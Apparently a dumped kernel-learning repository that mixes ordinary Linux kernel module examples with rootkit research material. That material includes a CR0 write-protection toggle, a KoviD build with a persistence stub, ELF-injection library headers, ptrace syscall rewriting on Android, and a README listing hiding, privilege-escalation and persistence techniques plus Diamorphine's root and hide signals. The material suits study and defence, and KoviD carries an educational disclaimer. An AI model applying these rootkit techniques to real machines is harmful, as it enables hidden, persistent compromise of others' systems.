fs_kernel_write_file(struct file *, const void *, size_t, loff_t *); 38 | ssize_t fs_kernel_read_file(struct file *, void *, size_t, loff_t *); 39 | #else 40 | ssize_t fs_kernel_write_file(struct file *, const char *, size_t, loff_t); 41 | int fs_kernel_read_file(struct file *, loff_t, char *, unsigned long); 42 | #endif 43 | 44 | int fs_kernel_close_file(struct file *filp); 45 | int fs_file_rm(char *name); 46 | #endif //__FS_H 47 | -------------------------------------------------------------------------------- /research-rootkit/elf/uelf.h: -------------------------------------------------------------------------------- 1 | // Copyright 2016 Gu Zhengxiong 2 | // 3 | // This file is part of LibZeroEvil. 4 | // 5 | // LibZeroEvil is free software: 6 | // you can redistribute it and/or modify it 7 | // under the terms of the GNU General Public License 8 | // as published by the Free Software Foundation, 9 | // either version 3 of the License, 10 | // or (at your option) any later version. 11 | // 12 | // LibZeroEvil is distributed in the hope that it will be useful, 13 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | // GNU General Public License for more details. 16 | // 17 | // You should have received a copy of the GNU General Public License 18 | // along with LibZeroEvil. 19 | // If not, see . 20 | 21 | 22 | # ifndef _GU_ZHENGXIONG_UELF_H 23 | # define _GU_ZHENGXIONG_UELF_H 24 | 25 | 26 | int 27 | check_elf_ident(FILE *stream); 28 | Elf64_Ehdr * 29 | get_elf_header(FILE *stream); 30 | Elf64_Shdr * 31 | get_sec_header_tab(FILE *stream, Elf64_Ehdr *header); 32 | char * 33 | get_shstrtab(FILE *stream, 34 | Elf64_Shdr *str_tab_header); 35 | Elf64_Shdr * 36 | get_section_by_name(const char *name, 37 | Elf64_Ehdr *header, 38 | Elf64_Shdr *sec_header_tab, 39 | char *str_tab); 40 | 41 | 42 | # endif 43 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/Makefile: -------------------------------------------------------------------------------- 1 | OBJNAME=kovid 2 | 3 | # turn off ring buffer debug: 4 | # $ DEPLOY=1 make 5 | ifndef DEPLOY 6 | DEBUG_PR := -DDEBUG_RING_BUFFER 7 | endif 8 | 9 | LD=$(shell which ld) 10 | AS=$(shell which as) 11 | CTAGS=$(shell which ctags)) 12 | # PROCNAME, /proc/ interface. You must change it. 13 | COMPILER_OPTIONS := -Wall -DPROCNAME='"changeme"' \ 14 | -DMODNAME='"kovid"' -DKSOCKET_EMBEDDED ${DEBUG_PR} -DCPUHACK -DPRCTIMEOUT=1200 15 | 16 | EXTRA_CFLAGS := -I$(src)/src -I$(src)/fs ${COMPILER_OPTIONS} 17 | 18 | SRC := src/${OBJNAME}.c src/pid.c src/fs.c src/sys.c \ 19 | src/sock.c src/util.c src/vm.c 20 | 21 | persist=src/persist 22 | 23 | $(OBJNAME)-objs = $(SRC:.c=.o) 24 | 25 | obj-m := ${OBJNAME}.o 26 | 27 | CC=gcc 28 | 29 | all: persist 30 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 31 | 32 | persist: 33 | $(AS) --64 $(persist).S -statistics -fatal-warnings \ 34 | -size-check=error -o $(persist).o 35 | $(LD) -Ttext 200000 --oformat binary -o $(persist) $(persist).o 36 | 37 | lgtm: persist 38 | make -C /lib/modules/$(shell dpkg --status linux-headers-generic |grep ^Depends| \ 39 | cut -d ":" -f2| sed 's/ linux-headers-//g')/build M=$(PWD) modules 40 | 41 | clean: 42 | @make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 43 | @rm -f *.o src/*.o $(persist) 44 | @echo "Clean." 45 | 46 | tags: 47 | $(CTAGS) -RV src/. 48 | 49 | .PHONY: all clean tags 50 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/volundr/elf/validate.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include "utils.h" 3 | #include "log.h" 4 | #include "elfo.h" 5 | #include "validate.h" 6 | 7 | bool elf_validate_eheader(const elf_ehdr_t* ehdr) 8 | { 9 | if(ehdr == NULL) { 10 | log_debug("Invalid argument"); 11 | return false; 12 | } 13 | if((ehdr->e_ident[0] != ELFMAG0) && 14 | (ehdr->e_ident[1] != ELFMAG1) && 15 | (ehdr->e_ident[2] != ELFMAG2) && 16 | (ehdr->e_ident[3] != ELFMAG3)) { 17 | return false; 18 | } 19 | return true; 20 | } 21 | 22 | bool elf_validate_filetype(FILE *f) 23 | { 24 | size_t len = sizeof(Elf32_Ehdr); 25 | char buf[len+1]; 26 | Elf32_Ehdr *elfHeader; 27 | fpos_t pos; 28 | 29 | if(f == NULL) 30 | return false; 31 | 32 | // save current position 33 | fgetpos(f, &pos); 34 | rewind(f); 35 | 36 | // TODO: create elf_get_hdr() 37 | fread(buf, len, 1, f); 38 | buf[len] = '\0'; 39 | 40 | elfHeader = (Elf32_Ehdr*)buf; 41 | 42 | // restore initial position 43 | fsetpos(f, &pos); 44 | 45 | return elf_validate_eheader((const elf_ehdr_t*)elfHeader); 46 | } 47 | 48 | bool elf_validate_index(const elf_t *elfo, elf_half_t index) 49 | { 50 | if(elfo == NULL || elfo->ehdr == NULL) { 51 | log_debug("Invalid argument"); 52 | return false; 53 | } 54 | if(index >= SHNUM(elfo)) { 55 | return false; 56 | } 57 | return true; 58 | } 59 | -------------------------------------------------------------------------------- /linux-kernel/ioctl-client.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | struct ioctl_arg { 8 | unsigned int val; 9 | }; 10 | 11 | #define IOCTL_MAGIC 0x66 12 | #define IOCTL_VALSET _IOW(IOCTL_MAGIC, 0, struct ioctl_arg) 13 | #define IOCTL_VALGET _IOR(IOCTL_MAGIC, 1, struct ioctl_arg) 14 | #define IOCTL_VALGET_NUM _IOR(IOCTL_MAGIC, 2, int) 15 | #define IOCTL_VALSET_NUM _IOW(IOCTL_MAGIC, 3, int) 16 | 17 | int main() { 18 | int fd = open("/dev/ioctltest", O_RDWR); 19 | 20 | if (fd == -1) { 21 | perror("Failed to open the device"); 22 | return -1; 23 | } 24 | 25 | struct ioctl_arg arg; 26 | arg.val = 0x12345678; 27 | 28 | if (ioctl(fd, IOCTL_VALSET, &arg) == -1) { 29 | perror("IOCTL_VALSET failed"); 30 | } else { 31 | printf("IOCTL_VALSET succeeded\n"); 32 | } 33 | 34 | if (ioctl(fd, IOCTL_VALGET, &arg) == -1) { 35 | perror("IOCTL_VALGET failed"); 36 | } else { 37 | printf("IOCTL_VALGET returned value: 0x%x\n", arg.val); 38 | } 39 | 40 | int num = 42; 41 | if (ioctl(fd, IOCTL_VALSET_NUM, &num) == -1) { 42 | perror("IOCTL_VALSET_NUM failed"); 43 | } else { 44 | printf("IOCTL_VALSET_NUM succeeded\n"); 45 | } 46 | 47 | if (ioctl(fd, IOCTL_VALGET_NUM, &num) == -1) { 48 | perror("IOCTL_VALGET_NUM failed"); 49 | } else { 50 | printf("IOCTL_VALGET_NUM returned value: %d\n", num); 51 | } 52 | 53 | close(fd); 54 | 55 | return 0; 56 | } 57 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/TODO: -------------------------------------------------------------------------------- 1 | 2 | (sorted by priority) 3 | 4 | - Turn shared libraries into proper API's 5 | - properly allocate data structures into elfo & free them 6 | - use config.h (to define ELF_*) 7 | - extend file memory mapping 8 | - replace all fread() (and friends) by memory mapping (mmap() and friends) 9 | - log_trace && _TRACE 10 | - consider creating elf_meta_*. 11 | - autotools 12 | - section to segment mapping (see readelf) 13 | - change file_read to something more generic (consider reading from mem) 14 | - store section names in meta data structure (create elf_read_all_shnames) 15 | - make install / make evil_install 16 | - use doxygen 17 | - check nanming convention 18 | - support section types: HASH, GNU_HASH, VERSYM, VERNEED, REL, DYNAMIC 19 | - svn $Id$ + watermark 20 | - implement ELF_DONTUSE_META (?) 21 | - implement NOT_PARANOID mode (to drop most of funcs asserts) 22 | they are not that useful anyway. 23 | - volatile ELF structure (will be changed on-the-fly) 24 | - make non-gnu version (removing __attribute__, typeof, etc) 25 | - remove complex and unecessary data structures/types 26 | - "static" volundr 27 | - extend asm syscalls implementations and make use of them 28 | 29 | 30 | 31 | (future versions) 32 | 33 | - kmem trick 34 | - hash tables 35 | - relocation algorithms/functionalities 36 | - dynamic sections 37 | - alignment constraints 38 | - other injection tekneeqz! 39 | 40 | 41 | 42 | (always-used) 43 | 44 | - use elf_{word,half,off}_t types where appropriate. 45 | - use design by contract comments in function descriptions. (please!) 46 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/volundr/common/log.h: -------------------------------------------------------------------------------- 1 | #ifndef _LOG_H 2 | #define _LOG_H 3 | 4 | #include 5 | #include 6 | 7 | 8 | // TODO: add __PRETTY_FUNCTION__ to output 9 | 10 | #define log_it(a...) ({ _log_it(__FILE__, __LINE__, a); }) 11 | #define log_info(a...) ({ _log_info(__FILE__, __LINE__, a); }) 12 | #define log_debug(a...) ({ _log_debug(__FILE__, __LINE__, a); }) 13 | #define log_error(a...) ({ _log_error(__FILE__, __LINE__, a); }) 14 | #define log_warning(a...) ({ _log_warning(__FILE__, __LINE__, a); }) 15 | #define log_fatal(a...) ({ _log_fatal(__FILE__, __LINE__, a); }) 16 | #define log_info_buff(a...) ({ _log_info_buff(__FILE__, __LINE__, a); }) 17 | #define log_debug_buff(a...) ({ _log_debug_buff(__FILE__, __LINE__, a); }) 18 | 19 | #define log_fatal(a...) ({ _log_fatal(__FILE__, __LINE__, a); }) 20 | 21 | int32_t _log_it (const char*, int, const char *, ...); 22 | int32_t _log_info (const char*, int, const char *, ...); 23 | int32_t _log_debug (const char*, int, const char *, ...); 24 | int32_t _log_error (const char*, int, const char *, ...); 25 | int32_t _log_warning (const char*, int, const char *, ...); 26 | int32_t _log_info_buff (const char*, int, const char *, ...); 27 | int32_t _log_debug_buff (const char*, int, const char *, ...); 28 | 29 | int32_t logf_it (FILE *f, const char *, ...); 30 | int32_t logf_info (FILE *f, const char *fmt, ...); 31 | int32_t logf_debug (FILE *f, const char *fmt, ...); 32 | 33 | 34 | // TODO: add __attribute__ noreturn with macros 35 | void _log_fatal (const char*, int, const char *, ...); 36 | 37 | #endif 38 | -------------------------------------------------------------------------------- /Syscall_intercept_arm64/Syscall_item_enter_arm64.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | 10 | #include "Syscall_arm64.h" 11 | #include "Syscall_item_enter_arm64.h" 12 | #include "Syscall_intercept_arm64.h" 13 | 14 | 15 | void openat_item(pid_t pid,user_pt_regs regs){ 16 | char filename[256]; 17 | char path[256]; 18 | uint32_t filenamelength=0; 19 | 20 | get_addr_path(pid,regs.ARM_x1,path); 21 | if(strstr(path,"/data/app")!=0 || strstr(path,"[anon:libc_malloc]")!=0){ 22 | getdata(pid,regs.ARM_x1,filename,256); 23 | if(strcmp(filename,"/dev/ashmem")!=0){ 24 | print_register_enter(regs,pid,(char*)"__NR_openat",regs.ARM_x8); 25 | printf("filename: %s\n",filename); 26 | printf("path: %s\n",path); 27 | if(strcmp(filename,"/proc/sys/kernel/random/boot_id")==0){ 28 | char tmp[256]="/data/local/tmp/boot_id"; 29 | filenamelength=strlen(tmp)+1; 30 | putdata(pid,regs.ARM_x1,tmp,filenamelength); 31 | getdata(pid,regs.ARM_x1,filename,256); 32 | printf("changed filename: %s\n",filename); 33 | } 34 | } 35 | } 36 | } 37 | 38 | void read_item(pid_t pid,user_pt_regs regs){ 39 | print_register_enter(regs,pid,(char*)"__NR_read",regs.ARM_x8); 40 | } 41 | 42 | void SysCall_item_enter_switch(pid_t pid,user_pt_regs regs){ 43 | switch (regs.ARM_x8) 44 | { 45 | case __NR_openat: 46 | openat_item(pid,regs); 47 | break; 48 | default: 49 | break; 50 | } 51 | } -------------------------------------------------------------------------------- /linux-kernel/KoviD/LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2022, Carlos Carvalho 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | © 2022 GitHub, Inc. 31 | Terms 32 | Privacy 33 | Security 34 | 35 | -------------------------------------------------------------------------------- /ptrace_svc_intercept_arm64/Syscall_item_enter_arm64.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | 10 | #include "Syscall_arm64.h" 11 | #include "Syscall_item_enter_arm64.h" 12 | #include "Syscall_intercept_arm64.h" 13 | 14 | 15 | void openat_item(pid_t pid,user_pt_regs regs){ 16 | char filename[256]; 17 | char path[256]; 18 | uint32_t filenamelength=0; 19 | 20 | get_addr_path(pid,regs.ARM_x1,path); 21 | if(strstr(path,"/data/app")!=0 || strstr(path,"[anon:libc_malloc]")!=0){ 22 | getdata(pid,regs.ARM_x1,filename,256); 23 | if(strcmp(filename,"/dev/ashmem")!=0){ 24 | print_register_enter(regs,pid,(char*)"__NR_openat",regs.ARM_x8); 25 | printf("filename: %s\n",filename); 26 | printf("path: %s\n",path); 27 | if(strcmp(filename,"/proc/sys/kernel/random/boot_id")==0){ 28 | char tmp[256]="/data/local/tmp/boot_id"; 29 | filenamelength=strlen(tmp)+1; 30 | putdata(pid,regs.ARM_x1,tmp,filenamelength); 31 | getdata(pid,regs.ARM_x1,filename,256); 32 | printf("changed filename: %s\n",filename); 33 | } 34 | } 35 | } 36 | } 37 | 38 | void read_item(pid_t pid,user_pt_regs regs){ 39 | print_register_enter(regs,pid,(char*)"__NR_read",regs.ARM_x8); 40 | } 41 | 42 | void SysCall_item_enter_switch(pid_t pid,user_pt_regs regs){ 43 | switch (regs.ARM_x8) 44 | { 45 | case __NR_openat: 46 | openat_item(pid,regs); 47 | break; 48 | default: 49 | break; 50 | } 51 | } -------------------------------------------------------------------------------- /research-rootkit/write_protection/write_protection.c: -------------------------------------------------------------------------------- 1 | // Copyright 2016 Gu Zhengxiong 2 | // 3 | // This file is part of LibZeroEvil. 4 | // 5 | // LibZeroEvil is free software: 6 | // you can redistribute it and/or modify it 7 | // under the terms of the GNU General Public License 8 | // as published by the Free Software Foundation, 9 | // either version 3 of the License, 10 | // or (at your option) any later version. 11 | // 12 | // LibZeroEvil is distributed in the hope that it will be useful, 13 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | // GNU General Public License for more details. 16 | // 17 | // You should have received a copy of the GNU General Public License 18 | // along with LibZeroEvil. 19 | // If not, see . 20 | 21 | 22 | # include 23 | # include 24 | 25 | # include "../zeroevil/zeroevil.h" 26 | 27 | 28 | MODULE_LICENSE("GPL"); 29 | 30 | 31 | int 32 | init_module(void) 33 | { 34 | unsigned long cr0; 35 | unsigned long cr4; 36 | 37 | fm_alert("%s\n", "Greetings the World!"); 38 | 39 | cr0 = read_cr0(); 40 | fm_alert("Old: %d\n", test_bit(X86_CR0_WP_BIT, &cr0)); 41 | 42 | disable_wp(); 43 | cr0 = read_cr0(); 44 | fm_alert("New: %d\n", test_bit(X86_CR0_WP_BIT, &cr0)); 45 | 46 | enable_wp(); 47 | cr0 = read_cr0(); 48 | fm_alert("Now: %d\n", test_bit(X86_CR0_WP_BIT, &cr0)); 49 | 50 | cr4 = __read_cr4(); 51 | fm_alert("old cr4 = %lx", cr4); 52 | 53 | return 0; 54 | } 55 | 56 | 57 | void 58 | cleanup_module(void) 59 | { 60 | fm_alert("%s\n", "Farewell the World!"); 61 | 62 | return; 63 | } 64 | -------------------------------------------------------------------------------- /linux-kernel/example_spinlock.c: -------------------------------------------------------------------------------- 1 | /* 2 | * example_spinlock.c 3 | */ 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | static DEFINE_SPINLOCK(sl_static); 10 | static spinlock_t sl_dynamic; 11 | 12 | static void example_spinlock_static(void) 13 | { 14 | unsigned long flags; 15 | 16 | spin_lock_irqsave(&sl_static, flags); 17 | pr_info("Locked static spinlock\n"); 18 | 19 | /* Do something or other safely. Because this uses 100% CPU time, this 20 | * code should take no more than a few milliseconds to run. 21 | */ 22 | 23 | spin_unlock_irqrestore(&sl_static, flags); 24 | pr_info("Unlocked static spinlock\n"); 25 | } 26 | 27 | static void example_spinlock_dynamic(void) 28 | { 29 | unsigned long flags; 30 | 31 | spin_lock_init(&sl_dynamic); 32 | spin_lock_irqsave(&sl_dynamic, flags); 33 | pr_info("Locked dynamic spinlock\n"); 34 | 35 | /* Do something or other safely. Because this uses 100% CPU time, this 36 | * code should take no more than a few milliseconds to run. 37 | */ 38 | 39 | spin_unlock_irqrestore(&sl_dynamic, flags); 40 | pr_info("Unlocked dynamic spinlock\n"); 41 | } 42 | 43 | static int __init example_spinlock_init(void) 44 | { 45 | pr_info("example spinlock started\n"); 46 | 47 | example_spinlock_static(); 48 | example_spinlock_dynamic(); 49 | 50 | return 0; 51 | } 52 | 53 | static void __exit example_spinlock_exit(void) 54 | { 55 | pr_info("example spinlock exit\n"); 56 | } 57 | 58 | module_init(example_spinlock_init); 59 | module_exit(example_spinlock_exit); 60 | 61 | MODULE_DESCRIPTION("Spinlock example"); 62 | MODULE_LICENSE("GPL"); 63 | -------------------------------------------------------------------------------- /linux-kernel/hello-sysfs.c: -------------------------------------------------------------------------------- 1 | /* 2 | * hello-sysfs.c sysfs example 3 | */ 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | static struct kobject *mymodule; 12 | 13 | /* the variable you want to be able to change */ 14 | static int myvariable = 0; 15 | 16 | static ssize_t myvariable_show(struct kobject *kobj, 17 | struct kobj_attribute *attr, char *buf) 18 | { 19 | return sprintf(buf, "%d\n", myvariable); 20 | } 21 | 22 | static ssize_t myvariable_store(struct kobject *kobj, 23 | struct kobj_attribute *attr, char *buf, 24 | size_t count) 25 | { 26 | sscanf(buf, "%du", &myvariable); 27 | return count; 28 | } 29 | 30 | static struct kobj_attribute myvariable_attribute = 31 | __ATTR(myvariable, 0660, myvariable_show, (void *)myvariable_store); 32 | 33 | static int __init mymodule_init(void) 34 | { 35 | int error = 0; 36 | 37 | pr_info("mymodule: initialised\n"); 38 | 39 | mymodule = kobject_create_and_add("mymodule", kernel_kobj); 40 | if (!mymodule) 41 | return -ENOMEM; 42 | 43 | error = sysfs_create_file(mymodule, &myvariable_attribute.attr); 44 | if (error) { 45 | pr_info("failed to create the myvariable file " 46 | "in /sys/kernel/mymodule\n"); 47 | } 48 | 49 | return error; 50 | } 51 | 52 | static void __exit mymodule_exit(void) 53 | { 54 | pr_info("mymodule: Exit success\n"); 55 | kobject_put(mymodule); 56 | } 57 | 58 | module_init(mymodule_init); 59 | module_exit(mymodule_exit); 60 | 61 | MODULE_LICENSE("GPL"); 62 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/volundr/elf/parse.h: -------------------------------------------------------------------------------- 1 | #ifndef _ELF_PARSE_H 2 | #define _ELF_PARSE_H 3 | 4 | 5 | elf_t *elf_parse_file (const char *, const struct mapped_file *); 6 | elf_shdr_t** elf_parse_shdrs (const elf_t*); 7 | elf_word_t elf_parse_shdr_idx_byname (const elf_t *elfo, const char *); 8 | elf_shdr_t **elf_load_section_header_global_symbols (const elf_t *elfo, elf_word_t); 9 | char *elf_parse_shname_byindex (const elf_t *elfo, elf_word_t); 10 | char *elf_get_section_header_name (const elf_t *elfo, const elf_shdr_t *); 11 | elf_ehdr_t* elf_parse_ehdr (const elf_t *elfo); 12 | elf_phdr_t** elf_parse_phdrs (const elf_t *elfo); 13 | elf_phdr_t** elf_parse_phdrs (const elf_t *elfo); 14 | elf_shdr_t **elf_get_section_header (const elf_t *elfo, elf_word_t); 15 | elf_sym_t **elf_load_section_header_symbols (const elf_t *elfo,elf_shdr_t *); 16 | //elf_sym_t *elf_parse_sym(const elf_shdr_t *, elf_word_t); 17 | //elf_shdr_t **elf_parse_all_strtabs(void); 18 | char *elf_parse_strtab_byindex (const elf_t *elfo, elf_half_t, elf_word_t *i, elf_sym_t **); 19 | char* elf_parse_shstrtab (const elf_t *elfo, elf_sym_t **); 20 | unsigned char *elf_get_symname_offset (const elf_t *elfo, const char *); 21 | 22 | 23 | elf_ehdr_t *elf_get_elf_header (const elf_t *elfo); 24 | elf_phdr_t **elf_get_elf_programs (const elf_t *elfo); 25 | elf_shdr_t **elf_get_elf_sections (const elf_t *elfo); 26 | 27 | #endif 28 | -------------------------------------------------------------------------------- /linux-kernel/cryptosha256.c: -------------------------------------------------------------------------------- 1 | /* 2 | * cryptosha256.c 3 | */ 4 | #include 5 | #include 6 | 7 | #define SHA256_LENGTH 32 8 | 9 | static void show_hash_result(char *plaintext, char *hash_sha256) 10 | { 11 | int i; 12 | char str[SHA256_LENGTH * 2 + 1]; 13 | 14 | pr_info("sha256 test for string: \"%s\"\n", plaintext); 15 | for (i = 0; i < SHA256_LENGTH; i++) 16 | sprintf(&str[i * 2], "%02x", (unsigned char)hash_sha256[i]); 17 | str[i * 2] = 0; 18 | pr_info("%s\n", str); 19 | } 20 | 21 | static int __init cryptosha256_init(void) 22 | { 23 | char *plaintext = "This is a test"; 24 | char hash_sha256[SHA256_LENGTH]; 25 | struct crypto_shash *sha256; 26 | struct shash_desc *shash; 27 | 28 | sha256 = crypto_alloc_shash("sha256", 0, 0); 29 | if (IS_ERR(sha256)) { 30 | pr_err( 31 | "%s(): Failed to allocate sha256 algorithm, enable CONFIG_CRYPTO_SHA256 and try again.\n", 32 | __func__); 33 | return -1; 34 | } 35 | 36 | shash = kmalloc(sizeof(struct shash_desc) + crypto_shash_descsize(sha256), 37 | GFP_KERNEL); 38 | if (!shash) 39 | return -ENOMEM; 40 | 41 | shash->tfm = sha256; 42 | 43 | if (crypto_shash_init(shash)) 44 | return -1; 45 | 46 | if (crypto_shash_update(shash, plaintext, strlen(plaintext))) 47 | return -1; 48 | 49 | if (crypto_shash_final(shash, hash_sha256)) 50 | return -1; 51 | 52 | kfree(shash); 53 | crypto_free_shash(sha256); 54 | 55 | show_hash_result(plaintext, hash_sha256); 56 | 57 | return 0; 58 | } 59 | 60 | static void __exit cryptosha256_exit(void) 61 | { 62 | } 63 | 64 | module_init(cryptosha256_init); 65 | module_exit(cryptosha256_exit); 66 | 67 | MODULE_DESCRIPTION("sha256 hash test"); 68 | MODULE_LICENSE("GPL"); 69 | -------------------------------------------------------------------------------- /linux-kernel/procfs1.c: -------------------------------------------------------------------------------- 1 | /* 2 | * procfs1.c 3 | */ 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 6, 0) 12 | #define HAVE_PROC_OPS 13 | #endif 14 | 15 | #define procfs_name "helloworld" 16 | 17 | static struct proc_dir_entry *our_proc_file; 18 | 19 | static ssize_t procfile_read(struct file *file_pointer, char __user *buffer, 20 | size_t buffer_length, loff_t *offset) 21 | { 22 | char s[13] = "HelloWorld!\n"; 23 | int len = sizeof(s); 24 | ssize_t ret = len; 25 | 26 | if (*offset >= len || copy_to_user(buffer, s, len)) { 27 | pr_info("copy_to_user failed\n"); 28 | ret = 0; 29 | } else { 30 | pr_info("procfile read %s\n", file_pointer->f_path.dentry->d_name.name); 31 | *offset += len; 32 | } 33 | 34 | return ret; 35 | } 36 | 37 | #ifdef HAVE_PROC_OPS 38 | static const struct proc_ops proc_file_fops = { 39 | .proc_read = procfile_read, 40 | }; 41 | #else 42 | static const struct file_operations proc_file_fops = { 43 | .read = procfile_read, 44 | }; 45 | #endif 46 | 47 | static int __init procfs1_init(void) 48 | { 49 | our_proc_file = proc_create(procfs_name, 0644, NULL, &proc_file_fops); 50 | if (NULL == our_proc_file) { 51 | proc_remove(our_proc_file); 52 | pr_alert("Error:Could not initialize /proc/%s\n", procfs_name); 53 | return -ENOMEM; 54 | } 55 | 56 | pr_info("/proc/%s created\n", procfs_name); 57 | return 0; 58 | } 59 | 60 | static void __exit procfs1_exit(void) 61 | { 62 | proc_remove(our_proc_file); 63 | pr_info("/proc/%s removed\n", procfs_name); 64 | } 65 | 66 | module_init(procfs1_init); 67 | module_exit(procfs1_exit); 68 | 69 | MODULE_LICENSE("GPL"); 70 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # kernel_learn 2 | 3 | 1. research-rootkit/fshid1:列出文件时隐藏文件 4 | 2. research-rootkit/fshid2:遍历文件时隐藏文件 5 | 3. research-rootkit/kohid:隐藏内核模块 6 | 4. research-rootkit/fsmon:hook文件类函数 7 | 5. research-rootkit/write_protection:内存读写保护 8 | 6. research-rootkit/root:内核处提权 9 | 7. research-rootkit/pshid:隐藏pid 10 | 8. research-rootkit/pthid:隐藏tcp连接端口 11 | 9. research-rootkit/real:感染系统关键内核模块实现持久化 12 | 10. research-rootkit/codeinj:模块加载语卸载处替换 13 | 11. research-rootkit/ifmon:基于修改派遣例程的系统调用挂钩 14 | 12. linux-kernel/completions.c:双线程竞争例子 15 | 13. linux-kernel/cryptosha256.c:sha256加密 16 | 14. linux-kernel/cryptosk.c:AES-256算法加密 17 | 15. linux-kernel/example_atomic.c:原子操作的基本概念和用法 18 | 16. linux-kernel/example_mutex.c:互斥锁(Mutex)的使用 19 | 17. linux-kernel/example_rwlock.c:读写锁(rwlock)的使用 20 | 18. linux-kernel/example_spinlock.c:自旋锁(spinlock)的使用 21 | 19. linux-kernel/example_tasklet.c:软中断处理机制的用法 22 | 20. linux-kernel/hello-sysfs.c:创建 sysfs 文件 23 | 21. linux-kernel/ioctl.c:ioctl例子 24 | 22. linux-kernel/print_string.c 25 | 23. linux-kernel/procfs1.c:proc操作文件系统例子1 26 | 24. linux-kernel/procfs2.c:proc操作文件系统例子2 27 | 25. linux-kernel/procfs3.c:proc操作文件系统例子3 28 | 26. linux-kernel/procfs4.c:proc操作文件系统例子4 29 | 27. linux-kernel/sched.c:异步队列 30 | 28. linux-kernel/sleep.c:只允许其中一个进程打开,其他进程被阻塞 31 | 29. linux-kernel/KoviD:一些Linux rootkit例子 32 | 30. linux-kernel/reveng_rtkit:一些Linux rootkit例子 33 | 31. linux-kernel/print_string.c:将字符串输出到当前终端的TTY设备上 34 | 32. ptrace-seccomp-demo:ptrace+seccomp拦截syscall 35 | 33. ptrace_svc_intercept_arm64:拦截syscall 36 | 34. Frida-Seccomp:一个Android通用svc跟踪以及hook方案 37 | 35. android-kernel/jprobe_example.c:jprobe hook 38 | 36. android-kernel/kprobe_example.c:kprobe hook 39 | 37. android-kernel/kretprobe_example.c:kretpobe hook 40 | 38. linux-kernel/lkm_example:通过创建设备文件与用户态进行通信 41 | 39. linux-kernel/Diamorphine 42 | 1. kill -63 0 加载了模块就自动隐藏,这个是用来显示模块 43 | 2. kill -64 获得root权限 44 | 3. kill -31 隐藏模块 -------------------------------------------------------------------------------- /linux-kernel/KoviD/DISCLAIMER.md: -------------------------------------------------------------------------------- 1 | DISCLAIMER: This software is provided for educational and research 2 | purposes only. 3 | 4 | It is not intended for any illegal activities or unauthorized use. 5 | By using this software, you agree to comply with all applicable laws, 6 | regulations, and ethical guidelines. 7 | 8 | The developer(s) and contributor(s) of this software are not responsible 9 | for any misuse, damages, or illegal activities conducted with this software. 10 | The software is provided "as is," without any warranties or guarantees of any 11 | kind, including but not limited to merchantability or fitness for a particular 12 | purpose. 13 | 14 | Users are advised to use this software responsibly and with the explicit 15 | consent of system owners. Unauthorized use of this software on systems without 16 | proper authorization is strictly prohibited. 17 | 18 | The software should be used only on systems owned or controlled by the user or 19 | with explicit permission from the system owner. Any unauthorized use of this 20 | software may violate local, national, and international laws and regulations. 21 | 22 | The developer(s) and contributor(s) of this software shall not be held liable 23 | for any direct, indirect, incidental, special, exemplary, or consequential 24 | damages arising out of the use or inability to use this software, including but 25 | not limited to procurement of substitute goods or services, 26 | loss of use, data, or profits, or business interruption, even if advised of the 27 | possibility of such damages. 28 | 29 | Users are solely responsible for their use of this software and should exercise 30 | caution, discretion, and ethical considerations when using it. It is the user's 31 | responsibility to ensure compliance with all applicable laws and regulations. 32 | 33 | By using this software, you acknowledge and agree to the terms of this 34 | disclaimer. If you do not agree with these terms, you should refrain 35 | from using this software. 36 | 37 | © 2022 Carlos Carvalho. All rights reserved. 38 | -------------------------------------------------------------------------------- 